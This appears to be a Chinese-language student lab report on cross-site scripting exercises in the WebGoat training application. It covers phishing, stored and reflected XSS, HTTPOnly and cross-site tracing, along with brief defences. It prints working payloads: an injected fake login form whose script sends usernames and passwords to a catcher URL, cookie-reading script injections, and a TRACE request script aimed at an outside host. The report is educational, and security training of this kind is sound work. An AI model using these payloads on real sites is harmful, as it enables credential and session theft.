4. Cross Site Scripting (XSS)

第八組

資管四乙  401402469  黃晧茹

資管四乙  400402125  莊祿趯

資管四乙  401402512  蔡子涵

 

 題目

Cross-Site Scripting

  1. Phishing with XSS
  2. Stored XSS Attacks
  3. Reflected XSS Attacks
  4. HTTPOnly Test
  5. Cross Site Tracing Attacks

 

XSS 介紹

  • 跨站指令碼攻擊(Cross-Site Scripting)
  • 簡稱 XSS
  • 駭客企圖傳送未經驗證的資料到瀏覽器,導致瀏覽器執行了惡意的程式碼
  • 利用了動態網頁的特性&開發人員未嚴格限制使用者輸入
  • 由HTTP回應中,包含未經驗證資料的程式碼所引起的

 

XSS 因應策略

  • HTML須先進行跳脫編碼 ex. < -- &lt;
  • 輸入值的驗證
  • cookies設定HttpOnly屬性

 

1. Phishing with XSS

 

 

做法:

 

</form><script>function hack()

 

{

 

 XSSImage=new Image;

 

XSSImage.src="http://localhost/webgoat/catcher?

 

PROPERTY=yes&user="+document.phish.user.value + "&password=" + document.phish.pass.value + "";

 

alert("Had this been a real attack... Your credentials were just stolen.

 

User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);

 

}

 

 </script><form name="phish">

 

<br><br><HR><H3>

 

This feature requires account login:

 

</H2><br><br>

 

Enter Username:

 

<br>

 

<input type="text" name="user">

 

<br>

 

Enter Password:

 

<br>

 

<input type="password" name = "pass"><br>

 

<input type="submit" name="login" value="login" onclick="hack()">

 

</form><br><br><HR>

 

 

 

XSS 類型

  • 根據:攻擊用的指令碼之位置不同
  • 可分成:反射型(Reflected XSS)、儲存型(Stored XSS)

 

Stored XSS 儲存型

  • 又稱 持續型
  • 注入的程式碼會被儲存在網站的伺服器
  • Stored XSS 案例中,不可信賴的來源通常為資料庫或其它後端資料庫的儲存區
  • 當其他用戶正常瀏覽網頁時,網站從資料庫讀取了非法用戶存入的非法資料
  • 常在”留言板”等地方出現

 

Reflected XSS 反射型

  • 又稱 非持續性
  • 最普遍的XSS攻擊類型
  • 當攻擊用的指令碼不在目標網站本身內,而是在攻擊目標網站之外的其他位置

2. Stored XSS Attacks

 

做法:

Message裡輸入
<script>alert(document.cookie);</script>

 

3.Reflected XSS Attacks

 

做法:所以我們在 enter your digit access code 的這個欄位裡填入 alert 的語法

<script>alert(document.cookie);</script>

 

按下purchase後就會成功:

 

 

4.HTTPOnly Test

 

What is HTTPOnly?

 HTTPOnly-False

 

 

 

 HTTPOnly-True 

 

 

DEVCORE-詳細介紹http://devco.re/blog/2014/06/11/setcookie-httponly-security-issues-of-ht...

 

Cross Site Tracing Attacks

XST攻擊描述:
  攻擊者將惡意代碼嵌入一台已經被控制的主機上的web文件,當訪問者瀏覽時惡意代碼在瀏覽器中執行,然後訪問者的cookie、http基本驗證以及ntlm驗證信息將被發送到已經被控制的主機,同時傳送Trace請求給目標主機,導致cookie欺騙或者是中間人攻擊。

輸入:

<SCRIPT type=text/java script>

<!--

function xssTRACE(){

var xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

xmlHttp.open("TRACE","http://www.winshell.cn/swords/",false);

xmlHttp.send();

xmlDoc=xmlHttp.responseText;

alert(xmlDoc);

}

 

//-->

</SCRIPT>

<BR><INPUT onclick=xssTRACE(); type=button value="XSS TRACE">

 

 

XST攻擊條件:
  1、需要目標web服務器允許Trace參數;
  2、需要一個用來插入XST代碼的地方; 
  3、目標站點存在跨域漏洞。
  

XST與XSS的比較:
  相同點:都具有很大的欺騙性,可以對受害主機産生危害,而且這種攻擊是多平台多技術的,我們還可以利用Active控件、Flash、java等來進行XST和XSS攻擊。
  優點:可以繞過一般的http驗證以及NTLM驗證,甚至是HTTPOnly。


解決方案: 禁用這些方式。

 

 

參考來源:

http://devco.re/blog/2014/06/11/setcookie-httponly-security-issues-of-ht...

https://www.owasp.org/index.php/HttpOnly

http://www.lijyyh.com/2013/06/web-application-security-risks-and.html

http://m.wangchao.net.cn/it/tcdetail_73191.html

http://codex.wiki/post/147589-661